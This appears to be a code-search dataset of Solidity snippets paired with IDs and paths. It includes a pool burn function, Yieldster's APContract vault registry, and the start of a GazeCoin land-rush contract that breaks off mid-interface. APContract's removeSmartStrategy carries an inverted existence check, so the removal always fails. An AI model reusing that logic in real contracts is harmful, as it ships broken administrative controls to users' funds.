function burnSingle(bytes calldata data) public override lock returns (uint256 amountOut) { (address tokenOut, address recipient, bool unwrapBento, uint256 toBurn) = abi.decode(data, (address, address, bool, uint256)); Record storage outRecord = records[tokenOut]; amountOut = _computeSingleOutGivenPoolIn(outRecord.reserve, outRecord.weight, totalSupply, totalWeight, toBurn, swapFee); require(amountOut <= _mul(outRecord.reserve, MAX_OUT_RATIO), "MAX_OUT_RATIO"); unchecked { outRecord.reserve -= uint120(amountOut); } _burn(address(this), toBurn); _transfer(tokenOut, amountOut, recipient, unwrapBento); emit Burn(msg.sender, tokenOut, amountOut, recipient); }
901,597
// SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import "@openzeppelin/upgrades-core/contracts/Initializable.sol"; import "./interfaces/IPriceModule.sol"; contract APContract is Initializable { address public yieldsterDAO; address public yieldsterTreasury; address public yieldsterGOD; address public emergencyVault; address public yieldsterExchange; address public stringUtils; address public whitelistModule; address public whitelistManager; address public proxyFactory; address public priceModule; address public platFormManagementFee; address public profitManagementFee; address public stockDeposit; address public stockWithdraw; address public safeMinter; address public safeUtils; address public exchangeRegistry; struct Vault { mapping(address => bool) vaultAssets; mapping(address => bool) vaultDepositAssets; mapping(address => bool) vaultWithdrawalAssets; mapping(address => bool) vaultEnabledStrategy; address depositStrategy; address withdrawStrategy; address vaultAPSManager; address vaultStrategyManager; uint256[] whitelistGroup; bool created; uint256 slippage; } struct VaultActiveStrategy { mapping(address => bool) isActiveStrategy; mapping(address => uint256) activeStrategyIndex; address[] activeStrategyList; } struct Strategy { mapping(address => bool) strategyProtocols; bool created; address minter; address executor; address benefeciary; uint256 managementFeePercentage; } struct SmartStrategy { address minter; address executor; bool created; } struct vaultActiveManagemetFee { mapping(address => bool) isActiveManagementFee; mapping(address => uint256) activeManagementFeeIndex; address[] activeManagementFeeList; } event VaultCreation(address vaultAddress); mapping(address => vaultActiveManagemetFee) managementFeeStrategies; mapping(address => mapping(address => mapping(address => bool))) vaultStrategyEnabledProtocols; mapping(address => VaultActiveStrategy) vaultActiveStrategies; mapping(address => bool) assets; mapping(address => bool) protocols; mapping(address => Vault) vaults; mapping(address => Strategy) strategies; mapping(address => SmartStrategy) smartStrategies; mapping(address => bool) vaultCreated; mapping(address => bool) APSManagers; mapping(address => address) minterStrategyMap; function initialize( address _yieldsterDAO, address _yieldsterTreasury, address _yieldsterGOD, address _emergencyVault, address _apsManager ) external initializer { yieldsterDAO = _yieldsterDAO; yieldsterTreasury = _yieldsterTreasury; yieldsterGOD = _yieldsterGOD; emergencyVault = _emergencyVault; APSManagers[_apsManager] = true; } function configureAPS( address _whitelistModule, address _platformManagementFee, address _profitManagementFee, address _stringUtils, address _yieldsterExchange, address _exchangeRegistry, address _priceModule, address _safeUtils ) external onlyYieldsterDAO { whitelistModule = _whitelistModule; platFormManagementFee = _platformManagementFee; stringUtils = _stringUtils; yieldsterExchange = _yieldsterExchange; exchangeRegistry = _exchangeRegistry; priceModule = _priceModule; safeUtils = _safeUtils; profitManagementFee = _profitManagementFee; } /// @dev Function to add proxy Factory address to Yieldster. /// @param _proxyFactory Address of proxy factory. function addProxyFactory(address _proxyFactory) external onlyManager { proxyFactory = _proxyFactory; } function setProfitAndPlatformManagementFeeStrategies( address _platformManagement, address _profitManagement ) external onlyYieldsterDAO { if (_profitManagement != address(0)) profitManagementFee = _profitManagement; if (_platformManagement != address(0)) platFormManagementFee = _platformManagement; } //Modifiers modifier onlyYieldsterDAO { require( yieldsterDAO == msg.sender, "Only Yieldster DAO is allowed to perform this operation" ); _; } modifier onlyManager { require( APSManagers[msg.sender], "Only APS managers allowed to perform this operation!" ); _; } function isVault(address _address) external view returns (bool) { return vaults[_address].created; } /// @dev Function to add APS manager to Yieldster. /// @param _manager Address of the manager. function addManager(address _manager) external onlyYieldsterDAO { APSManagers[_manager] = true; } /// @dev Function to remove APS manager from Yieldster. /// @param _manager Address of the manager. function removeManager(address _manager) external onlyYieldsterDAO { APSManagers[_manager] = false; } /// @dev Function to change whitelist Manager. /// @param _whitelistManager Address of the whitelist manager. function changeWhitelistManager(address _whitelistManager) external onlyYieldsterDAO { whitelistManager = _whitelistManager; } /// @dev Function to set Yieldster GOD. /// @param _yieldsterGOD Address of the Yieldster GOD. function setYieldsterGOD(address _yieldsterGOD) external { require( msg.sender == yieldsterGOD, "Only Yieldster GOD can perform this operation" ); yieldsterGOD = _yieldsterGOD; } /// @dev Function to set Yieldster DAO. /// @param _yieldsterDAO Address of the Yieldster DAO. function setYieldsterDAO(address _yieldsterDAO) external { require( msg.sender == yieldsterDAO, "Only Yieldster DAO can perform this operation" ); yieldsterDAO = _yieldsterDAO; } /// @dev Function to set Yieldster Treasury. /// @param _yieldsterTreasury Address of the Yieldster Treasury. function setYieldsterTreasury(address _yieldsterTreasury) external { require( msg.sender == yieldsterDAO, "Only Yieldster DAO can perform this operation" ); yieldsterTreasury = _yieldsterTreasury; } /// @dev Function to disable Yieldster GOD. function disableYieldsterGOD() external { require( msg.sender == yieldsterGOD, "Only Yieldster GOD can perform this operation" ); yieldsterGOD = address(0); } /// @dev Function to set Emergency vault. /// @param _emergencyVault Address of the Yieldster Emergency vault. function setEmergencyVault(address _emergencyVault) external onlyYieldsterDAO { emergencyVault = _emergencyVault; } /// @dev Function to set Safe Minter. /// @param _safeMinter Address of the Safe Minter. function setSafeMinter(address _safeMinter) external onlyYieldsterDAO { safeMinter = _safeMinter; } /// @dev Function to set safeUtils contract. /// @param _safeUtils Address of the safeUtils contract. function setSafeUtils(address _safeUtils) external onlyYieldsterDAO { safeUtils = _safeUtils; } /// @dev Function to set stringUtils contract. /// @param _stringUtils Address of the stringUtils contract. function setStringUtils(address _stringUtils) external onlyYieldsterDAO { stringUtils = _stringUtils; } /// @dev Function to set whitelistModule contract. /// @param _whitelistModule Address of the whitelistModule contract. function setWhitelistModule(address _whitelistModule) external onlyYieldsterDAO { whitelistModule = _whitelistModule; } /// @dev Function to set exchangeRegistry address. /// @param _exchangeRegistry Address of the exchangeRegistry. function setExchangeRegistry(address _exchangeRegistry) external onlyYieldsterDAO { exchangeRegistry = _exchangeRegistry; } /// @dev Function to get strategy address from minter. /// @param _minter Address of the minter. function getStrategyFromMinter(address _minter) external view returns (address) { return minterStrategyMap[_minter]; } /// @dev Function to set Yieldster Exchange. /// @param _yieldsterExchange Address of the Yieldster exchange. function setYieldsterExchange(address _yieldsterExchange) external onlyYieldsterDAO { yieldsterExchange = _yieldsterExchange; } /// @dev Function to set stock Deposit and Withdraw. /// @param _stockDeposit Address of the stock deposit contract. /// @param _stockWithdraw Address of the stock withdraw contract. function setStockDepositWithdraw( address _stockDeposit, address _stockWithdraw ) external onlyYieldsterDAO { stockDeposit = _stockDeposit; stockWithdraw = _stockWithdraw; } /// @dev Function to change the APS Manager for a vault. /// @param _vaultAPSManager Address of the new APS Manager. function changeVaultAPSManager(address _vaultAPSManager) external { require(vaults[msg.sender].created, "Vault is not present"); vaults[msg.sender].vaultAPSManager = _vaultAPSManager; } /// @dev Function to change the Strategy Manager for a vault. /// @param _vaultStrategyManager Address of the new Strategy Manager. function changeVaultStrategyManager(address _vaultStrategyManager) external { require(vaults[msg.sender].created, "Vault is not present"); vaults[msg.sender].vaultStrategyManager = _vaultStrategyManager; } /// @dev Function to change the Slippage Settings for a vault. /// @param _slippage value of slippage. function setVaultSlippage(uint256 _slippage) external { require(vaults[msg.sender].created, "Vault is not present"); vaults[msg.sender].slippage = _slippage; } /// @dev Function to get the Slippage Settings for a vault. function getVaultSlippage() external view returns (uint256) { require(vaults[msg.sender].created, "Vault is not present"); return vaults[msg.sender].slippage; } //Price Module /// @dev Function to set Yieldster price module. /// @param _priceModule Address of the price module. function setPriceModule(address _priceModule) external onlyManager { priceModule = _priceModule; } /// @dev Function to get the USD price for a token. /// @param _tokenAddress Address of the token. function getUSDPrice(address _tokenAddress) external view returns (uint256) { return IPriceModule(priceModule).getUSDPrice(_tokenAddress); } //Vaults /// @dev Function to create a vault. /// @param _vaultAddress Address of the new vault. function createVault(address _vaultAddress) external { require( msg.sender == proxyFactory, "Only Proxy Factory can perform this operation" ); vaultCreated[_vaultAddress] = true; } /// @dev Function to add a vault in the APS. /// @param _vaultAPSManager Address of the vaults APS Manager. /// @param _vaultStrategyManager Address of the vaults Strateg Manager. /// @param _whitelistGroup List of whitelist groups applied to the vault. function addVault( address _vaultAPSManager, address _vaultStrategyManager, uint256[] calldata _whitelistGroup ) external { require(vaultCreated[msg.sender], "Vault not created"); Vault memory newVault = Vault({ vaultAPSManager: _vaultAPSManager, vaultStrategyManager: _vaultStrategyManager, whitelistGroup: _whitelistGroup, depositStrategy: stockDeposit, withdrawStrategy: stockWithdraw, created: true, slippage: 50 }); vaults[msg.sender] = newVault; //applying Platform management fee managementFeeStrategies[msg.sender].isActiveManagementFee[ platFormManagementFee ] = true; managementFeeStrategies[msg.sender].activeManagementFeeIndex[ platFormManagementFee ] = managementFeeStrategies[msg.sender].activeManagementFeeList.length; managementFeeStrategies[msg.sender].activeManagementFeeList.push( platFormManagementFee ); //applying Profit management fee managementFeeStrategies[msg.sender].isActiveManagementFee[ profitManagementFee ] = true; managementFeeStrategies[msg.sender].activeManagementFeeIndex[ profitManagementFee ] = managementFeeStrategies[msg.sender].activeManagementFeeList.length; managementFeeStrategies[msg.sender].activeManagementFeeList.push( profitManagementFee ); } /// @dev Function to Manage the vault assets. /// @param _enabledDepositAsset List of deposit assets to be enabled in the vault. /// @param _enabledWithdrawalAsset List of withdrawal assets to be enabled in the vault. /// @param _disabledDepositAsset List of deposit assets to be disabled in the vault. /// @param _disabledWithdrawalAsset List of withdrawal assets to be disabled in the vault. function setVaultAssets( address[] calldata _enabledDepositAsset, address[] calldata _enabledWithdrawalAsset, address[] calldata _disabledDepositAsset, address[] calldata _disabledWithdrawalAsset ) external { require(vaults[msg.sender].created, "Vault not present"); for (uint256 i = 0; i < _enabledDepositAsset.length; i++) { address asset = _enabledDepositAsset[i]; require(_isAssetPresent(asset), "Asset not supported by Yieldster"); vaults[msg.sender].vaultAssets[asset] = true; vaults[msg.sender].vaultDepositAssets[asset] = true; } for (uint256 i = 0; i < _enabledWithdrawalAsset.length; i++) { address asset = _enabledWithdrawalAsset[i]; require(_isAssetPresent(asset), "Asset not supported by Yieldster"); vaults[msg.sender].vaultAssets[asset] = true; vaults[msg.sender].vaultWithdrawalAssets[asset] = true; } for (uint256 i = 0; i < _disabledDepositAsset.length; i++) { address asset = _disabledDepositAsset[i]; require(_isAssetPresent(asset), "Asset not supported by Yieldster"); vaults[msg.sender].vaultAssets[asset] = false; vaults[msg.sender].vaultDepositAssets[asset] = false; } for (uint256 i = 0; i < _disabledWithdrawalAsset.length; i++) { address asset = _disabledWithdrawalAsset[i]; require(_isAssetPresent(asset), "Asset not supported by Yieldster"); vaults[msg.sender].vaultAssets[asset] = false; vaults[msg.sender].vaultWithdrawalAssets[asset] = false; } } /// @dev Function to get the list of management fee strategies applied to the vault. function getVaultManagementFee() external view returns (address[] memory) { require(vaults[msg.sender].created, "Vault not present"); return managementFeeStrategies[msg.sender].activeManagementFeeList; } /// @dev Function to get the deposit strategy applied to the vault. function getDepositStrategy() external view returns (address) { require(vaults[msg.sender].created, "Vault not present"); return vaults[msg.sender].depositStrategy; } /// @dev Function to get the withdrawal strategy applied to the vault. function getWithdrawStrategy() external view returns (address) { require(vaults[msg.sender].created, "Vault not present"); return vaults[msg.sender].withdrawStrategy; } /// @dev Function to set the management fee strategies applied to a vault. /// @param _vaultAddress Address of the vault. /// @param _managementFeeAddress Address of the management fee strategy. function setManagementFeeStrategies( address _vaultAddress, address _managementFeeAddress ) external { require(vaults[_vaultAddress].created, "Vault not present"); require( vaults[_vaultAddress].vaultStrategyManager == msg.sender, "Sender not Authorized" ); managementFeeStrategies[_vaultAddress].isActiveManagementFee[ _managementFeeAddress ] = true; managementFeeStrategies[_vaultAddress].activeManagementFeeIndex[ _managementFeeAddress ] = managementFeeStrategies[_vaultAddress] .activeManagementFeeList .length; managementFeeStrategies[_vaultAddress].activeManagementFeeList.push( _managementFeeAddress ); } /// @dev Function to deactivate a vault strategy. /// @param _managementFeeAddress Address of the Management Fee Strategy. function removeManagementFeeStrategies( address _vaultAddress, address _managementFeeAddress ) external { require(vaults[_vaultAddress].created, "Vault not present"); require( managementFeeStrategies[_vaultAddress].isActiveManagementFee[ _managementFeeAddress ], "Provided ManagementFee is not active" ); require( vaults[_vaultAddress].vaultStrategyManager == msg.sender || yieldsterDAO == msg.sender, "Sender not Authorized" ); require( platFormManagementFee != _managementFeeAddress || yieldsterDAO == msg.sender, "Platfrom Management only changable by dao!" ); managementFeeStrategies[_vaultAddress].isActiveManagementFee[ _managementFeeAddress ] = false; if ( managementFeeStrategies[_vaultAddress] .activeManagementFeeList .length == 1 ) { managementFeeStrategies[_vaultAddress] .activeManagementFeeList .pop(); } else { uint256 index = managementFeeStrategies[_vaultAddress] .activeManagementFeeIndex[_managementFeeAddress]; uint256 lastIndex = managementFeeStrategies[_vaultAddress] .activeManagementFeeList .length - 1; delete managementFeeStrategies[_vaultAddress] .activeManagementFeeList[index]; managementFeeStrategies[_vaultAddress].activeManagementFeeIndex[ managementFeeStrategies[_vaultAddress].activeManagementFeeList[ lastIndex ] ] = index; managementFeeStrategies[_vaultAddress].activeManagementFeeList[ index ] = managementFeeStrategies[_vaultAddress].activeManagementFeeList[ lastIndex ]; managementFeeStrategies[_vaultAddress] .activeManagementFeeList .pop(); } } /// @dev Function to set vault active strategy. /// @param _strategyAddress Address of the strategy. function setVaultActiveStrategy(address _strategyAddress) external { require(vaults[msg.sender].created, "Vault not present"); require( _isStrategyEnabled(msg.sender, _strategyAddress), "This strategy is not enabled" ); require(strategies[_strategyAddress].created, "Strategy not present"); vaultActiveStrategies[msg.sender].isActiveStrategy[ _strategyAddress ] = true; vaultActiveStrategies[msg.sender].activeStrategyIndex[ _strategyAddress ] = vaultActiveStrategies[msg.sender].activeStrategyList.length; vaultActiveStrategies[msg.sender].activeStrategyList.push( _strategyAddress ); } /// @dev Function to deactivate a vault strategy. /// @param _strategyAddress Address of the strategy. function deactivateVaultStrategy(address _strategyAddress) external { require(vaults[msg.sender].created, "Vault not present"); require( vaultActiveStrategies[msg.sender].isActiveStrategy[ _strategyAddress ], "Provided strategy is not active" ); vaultActiveStrategies[msg.sender].isActiveStrategy[ _strategyAddress ] = false; if (vaultActiveStrategies[msg.sender].activeStrategyList.length == 1) { vaultActiveStrategies[msg.sender].activeStrategyList.pop(); } else { uint256 index = vaultActiveStrategies[msg.sender] .activeStrategyIndex[_strategyAddress]; uint256 lastIndex = vaultActiveStrategies[msg.sender] .activeStrategyList .length - 1; delete vaultActiveStrategies[msg.sender].activeStrategyList[index]; vaultActiveStrategies[msg.sender].activeStrategyIndex[ vaultActiveStrategies[msg.sender].activeStrategyList[lastIndex] ] = index; vaultActiveStrategies[msg.sender].activeStrategyList[ index ] = vaultActiveStrategies[msg.sender].activeStrategyList[lastIndex]; vaultActiveStrategies[msg.sender].activeStrategyList.pop(); } } /// @dev Function to get vault active strategy. function getVaultActiveStrategy(address _vaultAddress) external view returns (address[] memory) { require(vaults[_vaultAddress].created, "Vault not present"); return vaultActiveStrategies[_vaultAddress].activeStrategyList; } function isStrategyActive(address _vaultAddress, address _strategyAddress) external view returns (bool) { return vaultActiveStrategies[_vaultAddress].isActiveStrategy[ _strategyAddress ]; } function getStrategyManagementDetails( address _vaultAddress, address _strategyAddress ) external view returns (address, uint256) { require(vaults[_vaultAddress].created, "Vault not present"); require(strategies[_strategyAddress].created, "Strategy not present"); require( vaultActiveStrategies[_vaultAddress].isActiveStrategy[ _strategyAddress ], "Strategy not Active" ); return ( strategies[_strategyAddress].benefeciary, strategies[_strategyAddress].managementFeePercentage ); } /// @dev Function to Manage the vault strategies. /// @param _vaultStrategy Address of the strategy. /// @param _enabledStrategyProtocols List of protocols that are enabled in the strategy. /// @param _disabledStrategyProtocols List of protocols that are disabled in the strategy. /// @param _assetsToBeEnabled List of assets that have to be enabled along with the strategy. function setVaultStrategyAndProtocol( address _vaultStrategy, address[] calldata _enabledStrategyProtocols, address[] calldata _disabledStrategyProtocols, address[] calldata _assetsToBeEnabled ) external { require(vaults[msg.sender].created, "Vault not present"); require(strategies[_vaultStrategy].created, "Strategy not present"); vaults[msg.sender].vaultEnabledStrategy[_vaultStrategy] = true; for (uint256 i = 0; i < _enabledStrategyProtocols.length; i++) { address protocol = _enabledStrategyProtocols[i]; require( _isProtocolPresent(protocol), "Protocol not supported by Yieldster" ); vaultStrategyEnabledProtocols[msg.sender][_vaultStrategy][ protocol ] = true; } for (uint256 i = 0; i < _disabledStrategyProtocols.length; i++) { address protocol = _disabledStrategyProtocols[i]; require( _isProtocolPresent(protocol), "Protocol not supported by Yieldster" ); vaultStrategyEnabledProtocols[msg.sender][_vaultStrategy][ protocol ] = false; } for (uint256 i = 0; i < _assetsToBeEnabled.length; i++) { address asset = _assetsToBeEnabled[i]; require(_isAssetPresent(asset), "Asset not supported by Yieldster"); vaults[msg.sender].vaultAssets[asset] = true; vaults[msg.sender].vaultDepositAssets[asset] = true; vaults[msg.sender].vaultWithdrawalAssets[asset] = true; } } /// @dev Function to disable the vault strategies. /// @param _strategyAddress Address of the strategy. /// @param _assetsToBeDisabled List of assets that have to be disabled along with the strategy. function disableVaultStrategy( address _strategyAddress, address[] calldata _assetsToBeDisabled ) external { require(vaults[msg.sender].created, "Vault not present"); require(strategies[_strategyAddress].created, "Strategy not present"); require( vaults[msg.sender].vaultEnabledStrategy[_strategyAddress], "Strategy was not enabled" ); vaults[msg.sender].vaultEnabledStrategy[_strategyAddress] = false; for (uint256 i = 0; i < _assetsToBeDisabled.length; i++) { address asset = _assetsToBeDisabled[i]; require(_isAssetPresent(asset), "Asset not supported by Yieldster"); vaults[msg.sender].vaultAssets[asset] = false; vaults[msg.sender].vaultDepositAssets[asset] = false; vaults[msg.sender].vaultWithdrawalAssets[asset] = false; } } /// @dev Function to set smart strategy applied to the vault. /// @param _smartStrategyAddress Address of the smart strategy. /// @param _type type of smart strategy(deposit or withdraw). function setVaultSmartStrategy(address _smartStrategyAddress, uint256 _type) external { require(vaults[msg.sender].created, "Vault not present"); require( _isSmartStrategyPresent(_smartStrategyAddress), "Smart Strategy not Supported by Yieldster" ); if (_type == 1) { vaults[msg.sender].depositStrategy = _smartStrategyAddress; } else if (_type == 2) { vaults[msg.sender].withdrawStrategy = _smartStrategyAddress; } else { revert("Invalid type provided"); } } /// @dev Function to check if a particular protocol is enabled in a strategy for a vault. /// @param _vaultAddress Address of the vault. /// @param _strategyAddress Address of the strategy. /// @param _protocolAddress Address of the protocol to check. function _isStrategyProtocolEnabled( address _vaultAddress, address _strategyAddress, address _protocolAddress ) external view returns (bool) { if ( vaults[_vaultAddress].created && strategies[_strategyAddress].created && protocols[_protocolAddress] && vaults[_vaultAddress].vaultEnabledStrategy[_strategyAddress] && vaultStrategyEnabledProtocols[_vaultAddress][_strategyAddress][ _protocolAddress ] ) { return true; } else { return false; } } /// @dev Function to check if a strategy is enabled for the vault. /// @param _vaultAddress Address of the vault. /// @param _strategyAddress Address of the strategy. function _isStrategyEnabled(address _vaultAddress, address _strategyAddress) public view returns (bool) { if ( vaults[_vaultAddress].created && strategies[_strategyAddress].created && vaults[_vaultAddress].vaultEnabledStrategy[_strategyAddress] ) { return true; } else { return false; } } /// @dev Function to check if the asset is supported by the vault. /// @param cleanUpAsset Address of the asset. function _isVaultAsset(address cleanUpAsset) external view returns (bool) { require(vaults[msg.sender].created, "Vault is not present"); return vaults[msg.sender].vaultAssets[cleanUpAsset]; } // Assets /// @dev Function to check if an asset is supported by Yieldster. /// @param _address Address of the asset. function _isAssetPresent(address _address) private view returns (bool) { return assets[_address]; } /// @dev Function to add an asset to the Yieldster. /// @param _tokenAddress Address of the asset. function addAsset(address _tokenAddress) external onlyManager { require(!_isAssetPresent(_tokenAddress), "Asset already present!"); assets[_tokenAddress] = true; } /// @dev Function to remove an asset from the Yieldster. /// @param _tokenAddress Address of the asset. function removeAsset(address _tokenAddress) external onlyManager { require(_isAssetPresent(_tokenAddress), "Asset not present!"); delete assets[_tokenAddress]; } /// @dev Function to check if an asset is supported deposit asset in the vault. /// @param _assetAddress Address of the asset. function isDepositAsset(address _assetAddress) external view returns (bool) { require(vaults[msg.sender].created, "Vault not present"); return vaults[msg.sender].vaultDepositAssets[_assetAddress]; } /// @dev Function to check if an asset is supported withdrawal asset in the vault. /// @param _assetAddress Address of the asset. function isWithdrawalAsset(address _assetAddress) external view returns (bool) { require(vaults[msg.sender].created, "Vault not present"); return vaults[msg.sender].vaultWithdrawalAssets[_assetAddress]; } //Strategies /// @dev Function to check if a strategy is supported by Yieldster. /// @param _address Address of the strategy. function _isStrategyPresent(address _address) private view returns (bool) { return strategies[_address].created; } /// @dev Function to add a strategy to Yieldster. /// @param _strategyAddress Address of the strategy. /// @param _strategyProtocols List of protocols present in the strategy. /// @param _minter Address of strategy minter. /// @param _executor Address of strategy executor. function addStrategy( address _strategyAddress, address[] calldata _strategyProtocols, address _minter, address _executor, address _benefeciary, uint256 _managementFeePercentage ) external onlyManager { require( !_isStrategyPresent(_strategyAddress), "Strategy already present!" ); Strategy memory newStrategy = Strategy({ created: true, minter: _minter, executor: _executor, benefeciary: _benefeciary, managementFeePercentage: _managementFeePercentage }); strategies[_strategyAddress] = newStrategy; minterStrategyMap[_minter] = _strategyAddress; for (uint256 i = 0; i < _strategyProtocols.length; i++) { address protocol = _strategyProtocols[i]; require( _isProtocolPresent(protocol), "Protocol not supported by Yieldster" ); strategies[_strategyAddress].strategyProtocols[protocol] = true; } } /// @dev Function to remove a strategy from Yieldster. /// @param _strategyAddress Address of the strategy. function removeStrategy(address _strategyAddress) external onlyManager { require(_isStrategyPresent(_strategyAddress), "Strategy not present!"); delete strategies[_strategyAddress]; } /// @dev Function to get strategy executor address. /// @param _strategy Address of the strategy. function strategyExecutor(address _strategy) external view returns (address) { return strategies[_strategy].executor; } /// @dev Function to change executor of strategy. /// @param _strategyAddress Address of the strategy. /// @param _executor Address of the executor. function changeStrategyExecutor(address _strategyAddress, address _executor) external onlyManager { require(_isStrategyPresent(_strategyAddress), "Strategy not present!"); strategies[_strategyAddress].executor = _executor; } //Smart Strategy /// @dev Function to check if a smart strategy is supported by Yieldster. /// @param _address Address of the smart strategy. function _isSmartStrategyPresent(address _address) private view returns (bool) { return smartStrategies[_address].created; } /// @dev Function to add a smart strategy to Yieldster. /// @param _smartStrategyAddress Address of the smart strategy. function addSmartStrategy( address _smartStrategyAddress, address _minter, address _executor ) external onlyManager { require( !_isSmartStrategyPresent(_smartStrategyAddress), "Smart Strategy already present!" ); SmartStrategy memory newSmartStrategy = SmartStrategy({ minter: _minter, executor: _executor, created: true }); smartStrategies[_smartStrategyAddress] = newSmartStrategy; minterStrategyMap[_minter] = _smartStrategyAddress; } /// @dev Function to remove a smart strategy from Yieldster. /// @param _smartStrategyAddress Address of the smart strategy. function removeSmartStrategy(address _smartStrategyAddress) external onlyManager { require( !_isSmartStrategyPresent(_smartStrategyAddress), "Smart Strategy not present" ); delete smartStrategies[_smartStrategyAddress]; } /// @dev Function to get ssmart strategy executor address. /// @param _smartStrategy Address of the strategy. function smartStrategyExecutor(address _smartStrategy) external view returns (address) { return smartStrategies[_smartStrategy].executor; } /// @dev Function to change executor of smart strategy. /// @param _smartStrategy Address of the smart strategy. /// @param _executor Address of the executor. function changeSmartStrategyExecutor( address _smartStrategy, address _executor ) external onlyManager { require( _isSmartStrategyPresent(_smartStrategy), "Smart Strategy not present!" ); smartStrategies[_smartStrategy].executor = _executor; } // Protocols /// @dev Function to check if a protocol is supported by Yieldster. /// @param _address Address of the protocol. function _isProtocolPresent(address _address) private view returns (bool) { return protocols[_address]; } /// @dev Function to add a protocol to Yieldster. /// @param _protocolAddress Address of the protocol. function addProtocol(address _protocolAddress) external onlyManager { require( !_isProtocolPresent(_protocolAddress), "Protocol already present!" ); protocols[_protocolAddress] = true; } /// @dev Function to remove a protocol from Yieldster. /// @param _protocolAddress Address of the protocol. function removeProtocol(address _protocolAddress) external onlyManager { require(_isProtocolPresent(_protocolAddress), "Protocol not present!"); delete protocols[_protocolAddress]; } } // SPDX-License-Identifier: MIT pragma solidity >=0.5.0 <0.7.0; pragma experimental ABIEncoderV2; interface IPriceModule { function getUSDPrice(address ) external view returns(uint256); } // SPDX-License-Identifier: MIT pragma solidity >=0.4.24 <0.7.0; /** * @title Initializable * * @dev Helper contract to support initializer functions. To use it, replace * the constructor with a function that has the `initializer` modifier. * WARNING: Unlike constructors, initializer functions must be manually * invoked. This applies both to deploying an Initializable contract, as well * as extending an Initializable contract via inheritance. * WARNING: When used with inheritance, manual care must be taken to not invoke * a parent initializer twice, or ensure that all initializers are idempotent, * because this is not dealt with automatically as with constructors. */ contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private initializing; /** * @dev Modifier to use in the initializer function of a contract. */ modifier initializer() { require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized"); bool isTopLevelCall = !initializing; if (isTopLevelCall) { initializing = true; initialized = true; } _; if (isTopLevelCall) { initializing = false; } } /// @dev Returns true if and only if the function is running in the constructor function isConstructor() private view returns (bool) { // extcodesize checks the size of the code stored in an address, and // address returns the current address. Since the code is still not // deployed when running a constructor, any checks on its code size will // yield zero, making it an effective way to detect if a contract is // under construction or not. address self = address(this); uint256 cs; assembly { cs := extcodesize(self) } return cs == 0; } // Reserved storage space to allow for layout changes in the future. uint256[50] private ______gap; }
Price Module Function to set Yieldster price module. _priceModule Address of the price module.
function setPriceModule(address _priceModule) external onlyManager { priceModule = _priceModule; }
13,825,055
./partial_match/1/0x07880D44b0f7b75464ad18fc2b980049c40A8bc3/sources/MSOW.sol
Gets current NFT Price/
function getNFTPrice() public view returns (uint256) { return MINT_PRICE; }
4,155,202
pragma solidity ^0.4.25; // ---------------------------------------------------------------------------- // Fxxx Land Rush Contract - Purchase land parcels with GZE and ETH // // Deployed to : {TBA} // // Enjoy. // // (c) BokkyPooBah / Bok Consulting Pty Ltd for GazeCoin 2018. The MIT Licence. // ---------------------------------------------------------------------------- // ---------------------------------------------------------------------------- // Owned contract // ---------------------------------------------------------------------------- contract Owned { address public owner; address public newOwner; bool private initialised; event OwnershipTransferred(address indexed _from, address indexed _to); modifier onlyOwner { require(msg.sender == owner); _; } function initOwned(address _owner) internal { require(!initialised); owner = _owner; initialised = true; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); emit OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } function transferOwnershipImmediately(address _newOwner) public onlyOwner { emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } // ---------------------------------------------------------------------------- // Safe maths // ---------------------------------------------------------------------------- library SafeMath { function add(uint a, uint b) internal pure returns (uint c) { c = a + b; require(c >= a); } function sub(uint a, uint b) internal pure returns (uint c) { require(b <= a); c = a - b; } function mul(uint a, uint b) internal pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function div(uint a, uint b) internal pure returns (uint c) { require(b > 0); c = a / b; } function max(uint a, uint b) internal pure returns (uint c) { c = a >= b ? a : b; } function min(uint a, uint b) internal pure returns (uint c) { c = a <= b ? a : b; } } // ---------------------------------------------------------------------------- // BokkyPooBah's Token Teleportation Service Interface v1.10 // // https://github.com/bokkypoobah/BokkyPooBahsTokenTeleportationServiceSmartContract // // Enjoy. (c) BokkyPooBah / Bok Consulting Pty Ltd 2018. The MIT Licence. // ---------------------------------------------------------------------------- // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // ---------------------------------------------------------------------------- contract ERC20Interface { event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); } // ---------------------------------------------------------------------------- // Contracts that can have tokens approved, and then a function executed // ---------------------------------------------------------------------------- contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes data) public; } // ---------------------------------------------------------------------------- // BokkyPooBah's Token Teleportation Service Interface v1.10 // // Enjoy. (c) BokkyPooBah / Bok Consulting Pty Ltd 2018. The MIT Licence. // ---------------------------------------------------------------------------- contract BTTSTokenInterface is ERC20Interface { uint public constant bttsVersion = 110; bytes public constant signingPrefix = "\x19Ethereum Signed Message:\n32"; bytes4 public constant signedTransferSig = "\x75\x32\xea\xac"; bytes4 public constant signedApproveSig = "\xe9\xaf\xa7\xa1"; bytes4 public constant signedTransferFromSig = "\x34\x4b\xcc\x7d"; bytes4 public constant signedApproveAndCallSig = "\xf1\x6f\x9b\x53"; event OwnershipTransferred(address indexed from, address indexed to); event MinterUpdated(address from, address to); event Mint(address indexed tokenOwner, uint tokens, bool lockAccount); event MintingDisabled(); event TransfersEnabled(); event AccountUnlocked(address indexed tokenOwner); function symbol() public view returns (string); function name() public view returns (string); function decimals() public view returns (uint8); function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success); // ------------------------------------------------------------------------ // signed{X} functions // ------------------------------------------------------------------------ function signedTransferHash(address tokenOwner, address to, uint tokens, uint fee, uint nonce) public view returns (bytes32 hash); function signedTransferCheck(address tokenOwner, address to, uint tokens, uint fee, uint nonce, bytes sig, address feeAccount) public view returns 